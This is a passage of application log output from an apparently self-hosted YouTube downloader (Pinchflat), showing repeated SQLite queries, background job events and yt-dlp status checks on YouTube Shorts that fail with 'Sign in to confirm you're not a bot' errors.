m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [401, 402] 20:31:53.529 [debug] QUERY OK source="sources" db=0.4ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:53.530 [debug] QUERY OK source="media_profiles" db=0.7ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:53.531 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [402] 20:31:53.532 [debug] QUERY OK source="media_metadata" db=0.1ms idle=4.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [402] 20:31:53.532 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:53.532 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:53.533 [debug] QUERY OK source="settings" db=0.3ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:53.533 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:53.534 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:53.535 [debug] QUERY OK source="settings" db=0.3ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:53.535 [debug] QUERY OK source="settings" db=0.3ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:53.535 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/R3EZLwxf6cY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/46/9c4632bcaa73f8bc763d51f89af0aaddf25e0a5c002855002ca701923ac29ed6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:54.246 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/JpYtM4pmKnI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/68/c9683a0165bcc7d0489730df5f7500a16e4b8b0757a8684569a5c576c5ecdcee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] JpYtM4pmKnI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:54.246 [error] yt-dlp download error for media item #401: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] JpYtM4pmKnI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:54.247 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] JpYtM4pmKnI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:54.248 [info] {"args":{"id":401},"id":242,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1984530,"event":"job:stop","attempt":1,"queue_time":41262167,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:54.250 [debug] QUERY OK source="tasks" db=0.6ms idle=714.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:54.251 [debug] QUERY OK source="media_items" db=1.0ms queue=0.4ms idle=715.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [402] 20:31:54.256 [info] {"args":{"id":403},"id":244,"meta":{},"system_time":1774150314256345064,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:54.257 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=351.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [403] 20:31:54.258 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:54.259 [debug] QUERY OK source="tasks" db=2.4ms idle=8.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:54.260 [debug] QUERY OK source="sources" db=0.5ms queue=0.7ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:54.262 [debug] QUERY OK source="media_items" db=2.5ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [402, 403] 20:31:54.265 [debug] QUERY OK source="media_profiles" db=5.0ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:54.267 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [403] 20:31:54.269 [debug] QUERY OK source="media_metadata" db=0.3ms idle=9.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [403] 20:31:54.270 [debug] QUERY OK source="media_profiles" db=0.9ms idle=9.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:54.271 [debug] QUERY OK source="settings" db=0.9ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:54.272 [debug] QUERY OK source="settings" db=0.6ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:54.273 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:54.275 [debug] QUERY OK source="settings" db=0.2ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:54.276 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:54.276 [debug] QUERY OK source="settings" db=0.6ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:54.277 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/J0aKad-jxME --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/ae/1dae81602825776badcfef2e92a5d58316c275c276d09f2b35add8321949a37a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:55.408 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/R3EZLwxf6cY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/46/9c4632bcaa73f8bc763d51f89af0aaddf25e0a5c002855002ca701923ac29ed6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] R3EZLwxf6cY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:55.408 [error] yt-dlp download error for media item #402: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] R3EZLwxf6cY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:55.408 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] R3EZLwxf6cY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:55.410 [info] {"args":{"id":402},"id":243,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1881955,"event":"job:stop","attempt":1,"queue_time":42526140,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:55.411 [debug] QUERY OK source="tasks" db=1.2ms idle=1135.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:55.412 [debug] QUERY OK source="media_items" db=0.5ms idle=1135.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [403] 20:31:55.416 [info] {"args":{"id":404},"id":245,"meta":{},"system_time":1774150315416859491,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:55.417 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=7.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:55.418 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=507.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404] 20:31:55.419 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [403, 404] 20:31:55.419 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:55.420 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:55.421 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:55.422 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [404] 20:31:55.424 [debug] QUERY OK source="media_metadata" db=0.3ms idle=5.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [404] 20:31:55.425 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:55.425 [debug] QUERY OK source="settings" db=0.4ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:55.426 [debug] QUERY OK source="settings" db=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:55.426 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:55.428 [debug] QUERY OK source="settings" db=0.3ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:55.429 [debug] QUERY OK source="settings" db=0.8ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:55.429 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:55.430 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/aRA7uWCglOc --simulate --skip-download --print-to-file %(.{live_status})j 